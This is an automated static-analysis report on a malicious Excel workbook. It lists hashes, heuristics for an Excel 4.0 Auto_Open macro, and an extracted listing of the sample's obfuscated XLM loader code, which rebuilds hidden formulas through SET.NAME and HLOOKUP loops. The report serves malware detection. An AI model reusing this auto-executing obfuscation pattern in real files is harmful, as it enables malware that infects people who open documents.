Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78bb8736b5d17703…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:38 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 5f8d3648a974e94f11b064b5b9c20dad SHA-1: 70d579390be1def9cd1aebd98df6a12771226fd2 SHA-256: 78bb8736b5d177038e5a1d9c790c8631047ca27a112ef7e6d5040ce546fcb2f8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6511 bytes
SHA-256: cb975d1c27b386ad7c432c29526e983ec83510de9b8c3e9e75d02d0f090967d8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Rqp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G173 
' 0018     24 LABEL : Cell Value, String Constant - avKabiaOf len=0 
' 0018     20 LABEL : Cell Value, String Constant - bvcPO len=0 
' 0018     25 LABEL : Cell Value, String Constant - CasxjmUnzN len=0 
' 0018     24 LABEL : Cell Value, String Constant - CXniBnEBZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - fgpeLAMCzp len=0 
' 0018     26 LABEL : Cell Value, String Constant - gpekfIkXANw len=0 
' 0018     25 LABEL : Cell Value, String Constant - jiySsFyDie len=0 
' 0018     20 LABEL : Cell Value, String Constant - lRFhr len=0 
' 0018     21 LABEL : Cell Value, String Constant - LXjQQL len=0 
' 0018     20 LABEL : Cell Value, String Constant - miZOG len=0 
' 0018     22 LABEL : Cell Value, String Constant - mnThrPz len=0 
' 0018     27 LABEL : Cell Value, String Constant - OGdPoOTuIhBB len=0 
' 0018     26 LABEL : Cell Value, String Constant - rJfkvGThLGG len=0 
' 0018     20 LABEL : Cell Value, String Constant - rTYce len=0 
' 0018     20 LABEL : Cell Value, String Constant - StLzp len=0 
' 0018     20 LABEL : Cell Value, String Constant - UpHls len=0 
' 0018     24 LABEL : Cell Value, String Constant - WAYFFkeEj len=0 
' 0018     22 LABEL : Cell Value, String Constant - XjCkZVB len=0 
' 0018     21 LABEL : Cell Value, String Constant - xvAxkK len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZQNHrdBpu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Rqp,T81,"",-5.00000000000000000000
'  Rqp,T82,"",45.00000000000000000000
'  Rqp,T83,"",-94.00000000000000000000
'  Rqp,T84,"",277.00000000000000000000
'  Rqp,T85,"",-398.00000000000000000000
'  Rqp,T86,"",-892.00000000000000000000
'  Rqp,G87,"SET.NAME("jiySsFyDie",0+VALUE("0"))",""
'  Rqp,G90,"SET.NAME("rTYce",jiySsFyDie)",""
'  Rqp,G92,"SET.NAME("CasxjmUnzN",jiySsFyDie)",""
'  Rqp,G94,"SET.NAME("mnThrPz",COUNTA(lRFhr))",""
'  Rqp,G99,"SET.NAME("xvAxkK",COUNTA(CXniBnEBZ))",""
'  Rqp,G102,[],""
'  Rqp,G106,"SET.NAME("bvcPO","")",""
'  Rqp,G108,"rTYce",""
'  Rqp,G113,"SET.NAME("UpHls",HLOOKUP("*",lRFhr,rTYce,FALSE))",""
'  Rqp,G117,"rJfkvGThLGG",""
'  Rqp,G122,"SET.NAME("gpekfIkXANw",jiySsFyDie)",""
'  Rqp,G125,[],""
'  Rqp,G127,"gpekfIkXANw",""
'  Rqp,G130,"OGdPoOTuIhBB",""
'  Rqp,G132,"avKabiaOf",""
'  Rqp,G136,"LXjQQL",""
'  Rqp,G139,"SET.NAME("ZQNHrdBpu",VALUE(HLOOKUP("*",CXniBnEBZ,LXjQQL,FALSE)))",""
'  Rqp,G142,"StLzp",""
'  Rqp,G147,"bvcPO",""
'  Rqp,G149,"CasxjmUnzN",""
'  Rqp,G151,NEXT(),""
'  Rqp,G156,"XjCkZVB",""
'  Rqp,G161,[],""
'  Rqp,G165,"miZOG",""
'  Rqp,G167,NEXT(),""
'  Rqp,G171,RETURN(),""
'  Rqp,G198,"SET.NAME("fgpeLAMCzp",G87)",""
'  Rqp,G201,"lRFhr",""
'  Rqp,G203,"SET.NAME("CXniBnEBZ",R65C11)",""
'  Rqp,G207,"SET.NAME("miZOG",215)",""
'  Rqp,G211,"SET.NAME("WAYFFkeEj",7)",""
'  Rqp,G214,fgpeLAMCzp(),""
'  Rqp,G215,HALT(),""